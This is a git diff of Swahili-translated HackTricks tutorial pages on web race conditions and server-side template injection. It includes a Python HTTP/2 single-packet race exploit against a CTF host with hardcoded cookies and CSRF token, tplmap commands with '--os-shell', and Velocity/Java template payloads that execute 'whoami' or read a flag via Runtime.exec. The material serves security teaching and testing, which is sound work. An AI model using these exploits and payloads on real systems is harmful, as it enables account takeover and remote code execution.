* **Intruder**: Tuma **ombi** kwa **Intruder**, weka **idadi ya nyuzi** kuwa **30** ndani ya menyu ya **Chaguo na,** chagua mizigo ya **Null payloads** na zengua **30.**
|
||||
# change these headers
|
||||
|
||||
headersObjetivo= """accept: */*
|
||||
content-type: application/x-www-form-urlencoded
|
||||
Cookie: """+cookie+"""
|
||||
Content-Length: 112
|
||||
"""
|
||||
|
||||
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
|
||||
|
||||
headersVerification= """Content-Length: 1
|
||||
Cookie: """+cookie+"""
|
||||
"""
|
||||
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
|
||||
|
||||
host = "94.237.56.46"
|
||||
puerto =39697
|
||||
|
||||
|
||||
url = "https://"+host+":"+str(puerto)+"/email/"
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
|
||||
|
||||
while "objetivo" not in response.text:
|
||||
|
||||
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
|
||||
|
||||
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
|
||||
#print(response.text)
|
||||
# change this host name to new generated one
|
||||
|
||||
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
|
||||
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
|
||||
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
|
||||
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
|
||||
|
||||
print(responseReset.status_code)
|
||||
|
||||
h2_conn = H2OnTlsConnection(
|
||||
hostname=host,
|
||||
port_number=puerto
|
||||
)
|
||||
|
||||
h2_conn.setup_connection()
|
||||
|
||||
try_num = 100
|
||||
|
||||
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
|
||||
|
||||
all_headers_frames = [] # all headers frame + data frames which have not the last byte
|
||||
all_data_frames = [] # all data frames which contain the last byte
|
||||
|
||||
|
||||
for i in range(0, try_num):
|
||||
last_data_frame_with_last_byte=''
|
||||
if i == try_num/2:
|
||||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
|
||||
method='POST',
|
||||
headers_string=headersObjetivo,
|
||||
scheme='https',
|
||||
stream_id=stream_ids_list[i],
|
||||
authority=host,
|
||||
body=bodyObjetivo,
|
||||
path='/challenge/api/profile'
|
||||
)
|
||||
else:
|
||||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
|
||||
method='GET',
|
||||
headers_string=headersVerification,
|
||||
scheme='https',
|
||||
stream_id=stream_ids_list[i],
|
||||
authority=host,
|
||||
body=".",
|
||||
path='/challenge/api/sendVerification'
|
||||
)
|
||||
|
||||
all_headers_frames.append(header_frames_without_last_byte)
|
||||
all_data_frames.append(last_data_frame_with_last_byte)
|
||||
|
||||
|
||||
# concatenate all headers bytes
|
||||
temp_headers_bytes = b''
|
||||
for h in all_headers_frames:
|
||||
temp_headers_bytes += bytes(h)
|
||||
|
||||
# concatenate all data frames which have last byte
|
||||
temp_data_bytes = b''
|
||||
for d in all_data_frames:
|
||||
temp_data_bytes += bytes(d)
|
||||
|
||||
h2_conn.send_bytes(temp_headers_bytes)
|
||||
|
||||
|
||||
|
||||
|
||||
# wait some time
|
||||
sleep(0.1)
|
||||
|
||||
# send ping frame to warm up connection
|
||||
h2_conn.send_ping_frame()
|
||||
|
||||
# send remaining data frames
|
||||
h2_conn.send_bytes(temp_data_bytes)
|
||||
|
||||
resp = h2_conn.read_response_from_socket(_timeout=3)
|
||||
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
|
||||
frame_parser.add_frames(resp)
|
||||
frame_parser.show_response_of_sent_requests()
|
||||
|
||||
print('---')
|
||||
|
||||
sleep(3)
|
||||
h2_conn.close_connection()
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
```
|
||||
### BF ya Raw
|
||||
|
||||
Kabla ya utafiti uliopita hizi ni baadhi ya mizigo iliyotumiwa ambayo ilijaribu kutuma pakiti haraka iwezekanavyo kusababisha RC.
|
||||
|
||||
* **Repeater:** Angalia mifano kutoka sehemu iliyopita.
|
||||
* **Mvamizi**: Tuma **ombi** kwa **Mvamizi**, weka **idadi ya nyuzi** kuwa **30** ndani ya menyu ya **Chaguo** na, chagua mizigo ya **Null payloads** na uzalishe **30.**
|
||||
* **Turbo Mvamizi**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -169,19 +299,19 @@ asyncio.run(main())
|
|||
|
||||
### Kikomo-kuzidi / TOCTOU
|
||||
|
||||
Hii ni aina ya msingi kabisa ya hali ya mbio ambapo **udhaifu** unaonekana mahali ambapo **kuna kikomo cha mara ngapi unaweza kufanya kitendo**. Kama kutumia nambari ile ile ya punguzo katika duka la mtandao mara kadhaa. Mfano rahisi sana unaweza kupatikana katika [**ripoti hii**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) au katika [**kosa hili**](https://hackerone.com/reports/759247)**.**
|
||||
Hii ni aina ya msingi kabisa ya hali ya mashindano ambapo **udhaifu** unaonekana mahali ambapo **kuna kikomo cha mara ngapi unaweza kufanya kitendo**. Kama kutumia nambari ile ile ya punguzo katika duka la wavuti mara kadhaa. Mfano rahisi sana unaweza kupatikana katika [**ripoti hii**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) au katika [**kosa hili**](https://hackerone.com/reports/759247)**.**
|
||||
|
||||
Kuna mabadiliko mengi ya aina hii ya shambulio, ikiwa ni pamoja na:
|
||||
|
||||
* Kudai kadi ya zawadi mara kadhaa
|
||||
* Kukomboa kadi ya zawadi mara kadhaa
|
||||
* Kupima bidhaa mara kadhaa
|
||||
* Kutoa au kuhamisha pesa zaidi ya salio lako la akaunti
|
||||
* Kutumia suluhisho moja la CAPTCHA mara nyingi
|
||||
* Kupita kikomo cha kiwango cha nguvu ya brute
|
||||
* Kupuuza kikomo cha kiwango cha anti-brute-force
|
||||
|
||||
### **Hali za siri**
|
||||
|
||||
Kuendeleza hali ngumu za mbio mara nyingi kunahusisha kutumia fursa fupi za kuingiliana na hali za siri au **hali ndogo za mashine zisizotarajiwa**. Hivi ndivyo unavyoweza kukaribia hili:
|
||||
Kuendeleza hali ngumu za mashindano mara nyingi kunahusisha kutumia fursa fupi za kuingiliana na hali za siri au **hali za mashine zisizotarajiwa**. Hivi ndivyo unavyoweza kukaribia hili:
|
||||
|
||||
1. **Tambua Hali za Siri Zinazowezekana**
|
||||
* Anza kwa kubainisha vituo vya mwisho vinavyobadilisha au kuingiliana na data muhimu, kama vile maelezo ya mtumiaji au michakato ya kurejesha nywila. Jikite katika:
|
||||
|
@ -189,25 +319,25 @@ Kuendeleza hali ngumu za mbio mara nyingi kunahusisha kutumia fursa fupi za kuin
|
|||
* **Kitendo**: Tafuta shughuli zinazobadilisha data iliyopo, ambazo zina uwezekano mkubwa wa kujenga hali zinazoweza kudukuliwa ikilinganishwa na zile zinazoongeza data mpya.
|
||||
* **Ufunguo**: Mashambulizi mafanikio kawaida hujumuisha shughuli zinazotegemea kitambulisho kimoja, kama vile jina la mtumiaji au ishara ya kurejesha.
|
||||
2. **Fanya Uchunguzi wa Awali**
|
||||
* Jaribu vituo vilivyobainishwa na mashambulio ya hali ya mbio, ukitazama mabadiliko yoyote kutoka kwa matokeo yanayotarajiwa. Majibu yasiyotarajiwa au mabadiliko katika tabia ya programu yanaweza kuashiria udhaifu.
|
||||
* Jaribu vituo vilivyobainishwa na mashambulio ya hali ya mashindano, ukitazama mabadiliko yoyote kutoka kwa matokeo yanayotarajiwa. Majibu yasiyotarajiwa au mabadiliko katika tabia ya programu yanaweza kuashiria udhaifu.
|
||||
3. **Onyesha Udhaifu**
|
||||
* Punguza shambulio hadi idadi ndogo ya maombi inayohitajika kudukua udhaifu, mara nyingi ni mawili tu. Hatua hii inaweza kuhitaji majaribio mengi au uendeshaji wa moja kwa moja kutokana na wakati sahihi unaohusika.
|
||||
* Punguza shambulio hadi idadi ndogo ya maombi yanayohitajika kudukua udhaifu, mara nyingi ni mawili tu. Hatua hii inaweza kuhitaji majaribio mengi au uendeshaji wa moja kwa moja kutokana na wakati sahihi unaohusika.
|
||||
|
||||
### Mashambulio ya Wakati Wenye Hisia
|
||||
### Mashambulizi ya Wakati wa Sensa
|
||||
|
||||
Uakisi katika kutuma maombi kwa wakati unaweza kufunua udhaifu, hasa wakati mbinu za kutabirika kama vile alama za wakati hutumiwa kwa ajili ya vibali vya usalama. Kwa mfano, kutengeneza alama za kurejesha nywila kulingana na alama za wakati kunaweza kuruhusu alama sawa kwa maombi yanayofanyika wakati mmoja.
|
||||
Uelekevu katika kutuma maombi kwa wakati unaweza kufunua udhaifu, hasa wakati mbinu za kutabirika kama alama za wakati hutumiwa kwa ishara za usalama. Kwa mfano, kutengeneza alama za kurejesha nywila kulingana na alama za wakati kunaweza kuruhusu alama sawa kwa maombi yanayofanyika wakati mmoja.
|
||||
|
||||
**Kudukua:**
|
||||
**Kutumia kwa Udhaifu:**
|
||||
|
||||
* Tumia wakati sahihi, kama shambulio la pakiti moja, kufanya maombi ya kurejesha nywila kwa wakati mmoja. Alama sawa zinaonyesha udhaifu.
|
||||
* Tumia uelekevu wa wakati, kama shambulio la pakiti moja, kufanya maombi ya kurejesha nywila kwa wakati mmoja. Alama sawa zinaonyesha udhaifu.
|
||||
|
||||
**Mfano:**
|
||||
|
||||
* Taka alama mbili za kurejesha nywila kwa wakati mmoja na uzilinganishe. Alama zinazofanana zinaonyesha kasoro katika utengenezaji wa alama.
|
||||
* Omba alama mbili za kurejesha nywila kwa wakati mmoja na uzilinganishe. Alama zinazolingana zinaonyesha kasoro katika utengenezaji wa alama.
|
||||
|
||||
**Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **jaribu hili.**
|
||||
|
||||
## Uchunguzi wa Kesi za Hali za Siri
|
||||
## Uchunguzi wa Hali za Siri
|
||||
|
||||
### Lipa & ongeza Bidhaa
|
||||
|
||||
|
@ -215,25 +345,25 @@ Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/logic-fla
|
|||
|
||||
### Thibitisha barua pepe nyingine
|
||||
|
||||
Wazo ni **kuthibitisha anwani ya barua pepe na kuibadilisha kuwa tofauti wakati huo huo** ili kugundua ikiwa jukwaa linathibitisha ile mpya iliyobadilishwa.
|
||||
Wazo ni **kuthibitisha anwani ya barua pepe na kuibadilisha kuwa nyingine wakati huo huo** ili kugundua ikiwa jukwaa linathibitisha ile mpya iliyobadilishwa.
|
||||
|
||||
### Badilisha barua pepe hadi anwani 2 zilizotegemea Vidakuzi
|
||||
### Badilisha barua pepe hadi anwani 2 zinazotegemea Vidakuzi
|
||||
|
||||
Kulingana na [**utafiti huu**](https://portswigger.net/research/smashing-the-state-machine) Gitlab ilikuwa na udhaifu wa kuchukuliwa njia hii kwa sababu inaweza **kutuma** **ishara ya uthibitisho wa barua pepe ya moja kwa nyingine**.
|
||||
Kulingana na [**utafiti huu**](https://portswigger.net/research/smashing-the-state-machine) Gitlab ilikuwa na udhaifu wa kuchukuliwa njia hii kwa sababu inaweza **kutuma** **ishara ya uthibitisho wa barua pepe ya barua pepe moja kwenda kwa barua pepe nyingine**.
|
||||
|
||||
**Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **jaribu hili.**
|
||||
|
||||
### Hali za Siri za Hifadhidata / Kupuuza Uthibitisho
|
||||
|
||||
Ikiwa **kuandika tofauti 2** hutumiwa kwa **kuongeza** **taarifa** ndani ya **hifadhidata**, kuna sehemu ndogo ya wakati ambapo **data ya kwanza tu imeandikwa** ndani ya hifadhidata. Kwa mfano, wakati wa kuunda mtumiaji **jina la mtumiaji** na **nywila** inaweza **kuandikwa** na **kisha ishara** ya kuthibitisha akaunti mpya iliyoundwa inaandikwa. Hii inamaanisha kwamba kwa muda mfupi **ishara ya kuthibitisha akaunti ni tupu**.
|
||||
Ikiwa **kuandika tofauti 2** hutumiwa kwa **kuongeza** **maelezo** ndani ya **hifadhidata**, kuna wakati mdogo ambapo **data ya kwanza tu imeandikwa** ndani ya hifadhidata. Kwa mfano, wakati wa kuunda mtumiaji **jina la mtumiaji** na **nywila** inaweza **kuandikwa** na **kisha ishara** ya kuthibitisha akaunti mpya iliyoundwa inaandikwa. Hii inamaanisha kwamba kwa muda mfupi **ishara ya kuthibitisha akaunti ni tupu**.
|
||||
|
||||
Hivyo **kujiandikisha akaunti na kutuma maombi kadhaa na ishara tupu** (`ishara=` au `ishara[]=` au mabadiliko mengine yoyote) kuthibitisha akaunti mara moja inaweza kuruhusu kuthibitisha akaunti ambapo haukudhibiti barua pepe.
|
||||
|
||||
**Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **jaribu hili.**
|
||||
|
||||
### Kupita 2FA
|
||||
### Kupuuza 2FA
|
||||
|
||||
Pseudo-kificho kifuatacho ni dhaifu kwa hali ya mbio kwa sababu kwa muda mfupi sana **2FA haijatekelezwa** wakati kikao kinajengwa:
|
||||
Msimbo wa pseudo ufuatao una udhaifu wa hali ya mashindano kwa sababu kwa muda mfupi sana **2FA haijatekelezwa** wakati kikao kinajengwa:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
@ -243,20 +373,20 @@ session['enforce_mfa'] = True
|
|||
```
|
||||
### Kudumu kwa muda mrefu wa OAuth2
|
||||
|
||||
Kuna [**watoa huduma wa OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers) kadhaa. Huduma hizi zitaruhusu kuunda programu na kuthibitisha watumiaji ambao mtoa huduma amesajili. Ili kufanya hivyo, **mteja** atahitaji **kuidhinisha programu yako** ili kupata ufikivu wa baadhi ya data yao ndani ya **mtoa huduma wa OAuth**.\
|
||||
Kuna [**watoa huduma wa OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Huduma hizi zitaruhusu kuunda programu na kuthibitisha watumiaji ambao mtoa huduma amesajili. Ili kufanya hivyo, **mteja** atahitaji **kuidhinisha programu yako** ili kupata baadhi ya data yao ndani ya **mtoa huduma wa OAuth**.\
|
||||
Kwa hivyo, hadi hapa ni kama kuingia kawaida kwa google/linkedin/github... ambapo unaulizwa kwenye ukurasa unasema: "_Programu \<InsertCoolName> inataka kupata taarifa zako, unataka kuruhusu?_"
|
||||
|
||||
#### Hali ya Mashindano katika `authorization_code`
|
||||
|
||||
**Tatizo** linatokea unapopokea na kutuma **`authorization_code`** kiotomatiki kwa programu ya madhara. Kisha, programu hii inatumia Hali ya Mashindano katika mtoa huduma wa OAuth kuzalisha zaidi ya AT/RT (_Authentication Token/Refresh Token_) kutoka kwa **`authorization_code`** kwa akaunti yako. Kimsingi, itatumia ukweli kwamba umekubali programu kupata data yako ili **kuunda akaunti kadhaa**. Kisha, ikiwa **unazuia programu kupata data yako, jozi moja ya AT/RT itafutwa, lakini zingine zitabaki halali**.
|
||||
**Tatizo** linatokea unapopokea na kutuma **`authorization_code`** kiotomatiki kwa programu ya madhara. Kisha, programu hii **inatumia Hali ya Mashindano katika mtoa huduma wa OAuth** kuzalisha AT/RT zaidi ya moja (_Authentication Token/Refresh Token_) kutoka kwa **`authorization_code`** kwa akaunti yako. Kimsingi, itatumia ukweli kwamba umekubali programu kupata data yako ili **kuunda akaunti kadhaa**. Kisha, ikiwa **unazuia programu kupata data yako, jozi moja ya AT/RT itafutwa, lakini zingine zitabaki halali**.
|
||||
|
||||
#### Hali ya Mashindano katika `Refresh Token`
|
||||
|
||||
Baada ya **kupata RT halali** unaweza kujaribu **kuitumia vibaya kuzalisha AT/RT kadhaa** na **hata ikiwa mtumiaji anafuta ruhusa** kwa programu ya madhara kupata data yake, **RT kadhaa bado zitabaki halali**.
|
||||
Baada ya **kupata RT halali** unaweza kujaribu **kuitumia vibaya kuzalisha AT/RT kadhaa** na **hata ikiwa mtumiaji anafuta ruhusa** kwa programu ya madhara kupata data yake, **RT kadhaa bado itakuwa halali**.
|
||||
|
||||
## **Hali ya Mashindano katika WebSockets**
|
||||
|
||||
Katika [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) unaweza kupata PoC katika Java kutuma ujumbe wa websocket **kwa pamoja** kuitumia **Hali za Mashindano pia katika Web Sockets**.
|
||||
Katika [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) unaweza kupata PoC katika Java kutuma ujumbe wa websocket **kwa wakati mmoja** kuitumia **Hali za Mashindano pia katika Web Sockets**.
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -275,7 +405,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 **kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -283,7 +413,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kudhibiti taratibu za kiotomatiki** zinazotumia zana za jamii za **juu zaidi** ulimwenguni.\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia kiotomatiki** zana za jamii za juu zaidi ulimwenguni.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -22,13 +22,13 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Ni nini SSTI (Uingizaji wa Kigeuzi wa Upande wa Seva)
|
||||
|
||||
Uingizaji wa kigeuzi wa upande wa seva ni udhaifu unaotokea wakati muhusika anaweza kuingiza nambari yenye nia mbaya kwenye kigeuzi kinachotekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
|
||||
Uingizaji wa kigeuzi wa upande wa seva ni udhaifu unapotokea wakati muhusika anaweza kuingiza nambari yenye nia mbaya kwenye kigeuzi ambacho hutekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
|
||||
|
||||
Jinja ni injini maarufu ya kigeuzi inayotumika katika maombi ya wavuti. Hebu tuchunguze mfano unaodhihirisha kificho dhaifu kutumia Jinja:
|
||||
Jinja ni injini maarufu ya kigeuzi inayotumiwa katika maombi ya wavuti. Hebu tuchunguze mfano unaodhihirisha kipande cha nambari kilicho na udhaifu kutumia Jinja:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
Katika msimbo huu wenye kasoro, parameter ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kigezo kwa kutumia kazi ya `render`. Hii inaweza kuruhusu mshambuliaji kuingiza msimbo wenye nia mbaya kwenye parameter ya `name`, ikisababisha kutokea kwa uthibitishaji wa kigezo upande wa seva.
|
||||
Katika msimbo huu wenye mapungufu, parameter ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kigezo kwa kutumia kazi ya `render`. Hii inaweza kuruhusu mshambuliaji kuingiza msimbo wenye nia mbaya kwenye parameter ya `name`, ikisababisha kutokea kwa uthibitishaji wa kigezo upande wa seva.
|
||||
|
||||
Kwa mfano, mshambuliaji anaweza kutengeneza ombi lenye mzigo kama huu:
|
||||
```
|
||||
|
@ -40,16 +40,16 @@ Ili kuzuia udhaifu wa kuingiza templeti upande wa seva, waendelezaji wanapaswa k
|
|||
|
||||
### Uchunguzi
|
||||
|
||||
Kutambua Kuingiza Templeti Upande wa Seva (SSTI), kwanza, **kufanya majaribio ya templeti** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye templeti na kuchambua tofauti katika majibu ya seva kwa data ya kawaida ikilinganishwa na payload maalum hii. Viashiria vya udhaifu ni pamoja na:
|
||||
Kutambua Kuingiza Templeti Upande wa Seva (SSTI), kwanza, **kufanya fujo kwenye templeti** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye templeti na kuchambua tofauti katika majibu ya seva kati ya data ya kawaida na payload maalum hii. Viashiria vya udhaifu ni pamoja na:
|
||||
|
||||
- Kutoa makosa, kufunua udhaifu na labda injini ya templeti.
|
||||
- Kutokuwepo kwa payload katika kujibu, au sehemu zake kukosekana, ikimaanisha seva inaiprocess tofauti na data ya kawaida.
|
||||
- Kutokuwepo kwa payload katika kioo, au sehemu zake kukosekana, ikimaanisha seva inaiprocess tofauti na data ya kawaida.
|
||||
- **Muktadha wa Nakala Ndogo**: Tofautisha na XSS kwa kuangalia ikiwa seva inahakiki maelezo ya templeti (k.m., `{{7*7}}`, `${7*7}`).
|
||||
- **Muktadha wa Nambari**: Thibitisha udhaifu kwa kubadilisha paramita za mwingiliano. Kwa mfano, kubadilisha `salamu` katika `http://tovuti-isio-salama.com/?salamu=data.jina` kuona ikiwa matokeo ya seva ni ya kudumu au yanaobadilika, kama vile `salamu=data.jina}}habari` kurudisha jina la mtumiaji.
|
||||
- **Muktadha wa Nambari**: Thibitisha udhaifu kwa kubadilisha vigezo vya mwingiliano. Kwa mfano, kubadilisha `salamu` katika `http://tovuti-isio-salama.com/?salamu=data.jina` kuona ikiwa matokeo ya seva ni ya kudumu au yaliyobadilika, kama vile `salamu=data.jina}}habari` kurudisha jina la mtumiaji.
|
||||
|
||||
#### Hatua ya Kutambua
|
||||
|
||||
Kutambua injini ya templeti kunahusisha kuchambua ujumbe wa makosa au kufanya majaribio ya kawaida kwa kutumia payload za lugha mbalimbali. Payload za kawaida zinazosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuchunguza majibu ya seva kwa shughuli za hisabati husaidia kugundua injini maalum ya templeti.
|
||||
Kutambua injini ya templeti kunahusisha kuchambua ujumbe wa makosa au kufanya majaribio ya kawaida na mizigo ya lugha mbalimbali. Mizigo ya kawaida inayosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuchunguza majibu ya seva kwa operesheni za hisabati husaidia kugundua injini maalum ya templeti.
|
||||
|
||||
## Zana
|
||||
|
||||
|
@ -72,22 +72,22 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
|||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||||
```
|
||||
### [Majedwali wa Uingizaji wa Templeti](https://github.com/Hackmanit/template-injection-table)
|
||||
### [Majedwali wa Kutia Mifano](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
meza inayoweza kuingiliana inaleta pamoja polyglots ya uingizaji wa templeti wenye ufanisi pamoja na majibu yanayotarajiwa ya injini za templeti 44 muhimu zaidi.
|
||||
meza inayoweza kuingiliana inaonyesha mchanganyiko wa kutia mifano yenye ufanisi pamoja na majibu yanayotarajiwa ya injini 44 muhimu zaidi za mifano.
|
||||
|
||||
## Kudukua
|
||||
|
||||
### Kijumla
|
||||
|
||||
Katika **orodha ya maneno** hapa unaweza kupata **variables zilizofafanuliwa** katika mazingira ya baadhi ya injini zilizotajwa hapa chini:
|
||||
Katika **orodha ya maneno** hii unaweza kupata **vibadilishaji vilivyofafanuliwa** katika mazingira ya baadhi ya injini zilizotajwa hapa chini:
|
||||
|
||||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
|
||||
### Java
|
||||
|
||||
**Java - Uingizaji wa Msingi**
|
||||
**Java - Kuingiza Msingi**
|
||||
```java
|
||||
${7*7}
|
||||
${{7*7}}
|
||||
|
@ -139,6 +139,7 @@ ${dwf.newInstance(ec,null)("id")}
|
|||
|
||||
### Velocity (Java)
|
||||
```java
|
||||
// I think this doesn't work
|
||||
#set($str=$class.inspect("java.lang.String").type)
|
||||
#set($chr=$class.inspect("java.lang.Character").type)
|
||||
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
|
||||
|
@ -147,6 +148,17 @@ $ex.waitFor()
|
|||
#foreach($i in [1..$out.available()])
|
||||
$str.valueOf($chr.toChars($out.read()))
|
||||
#end
|
||||
|
||||
// This should work?
|
||||
#set($s="")
|
||||
#set($stringClass=$s.getClass())
|
||||
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
|
||||
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
|
||||
#set($out=$process.getInputStream())
|
||||
#set($null=$process.waitFor() )
|
||||
#foreach($i+in+[1..$out.available()])
|
||||
$out.read()
|
||||
#end
|
||||
```
|
||||
**Maelezo zaidi**
|
||||
|
||||
|
@ -155,7 +167,7 @@ $str.valueOf($chr.toChars($out.read()))
|
|||
|
||||
### Thymeleaf
|
||||
|
||||
Katika Thymeleaf, jaribio la kawaida la kutafuta vulnerabilities za SSTI ni expression `${7*7}`, ambayo pia inatumika kwa injini hii ya template. Kwa ajili ya potential remote code execution, expressions kama zifuatazo zinaweza kutumika:
|
||||
Katika Thymeleaf, jaribio la kawaida la uwezekano wa kushambuliwa na SSTI ni mchanganyiko `${7*7}`, ambao pia unatumika kwa injini hii ya kigezo. Kwa utekelezaji wa kanuni za mbali, mchanganyiko kama huu unaweza kutumika:
|
||||
|
||||
* SpringEL:
|
||||
|
||||
|
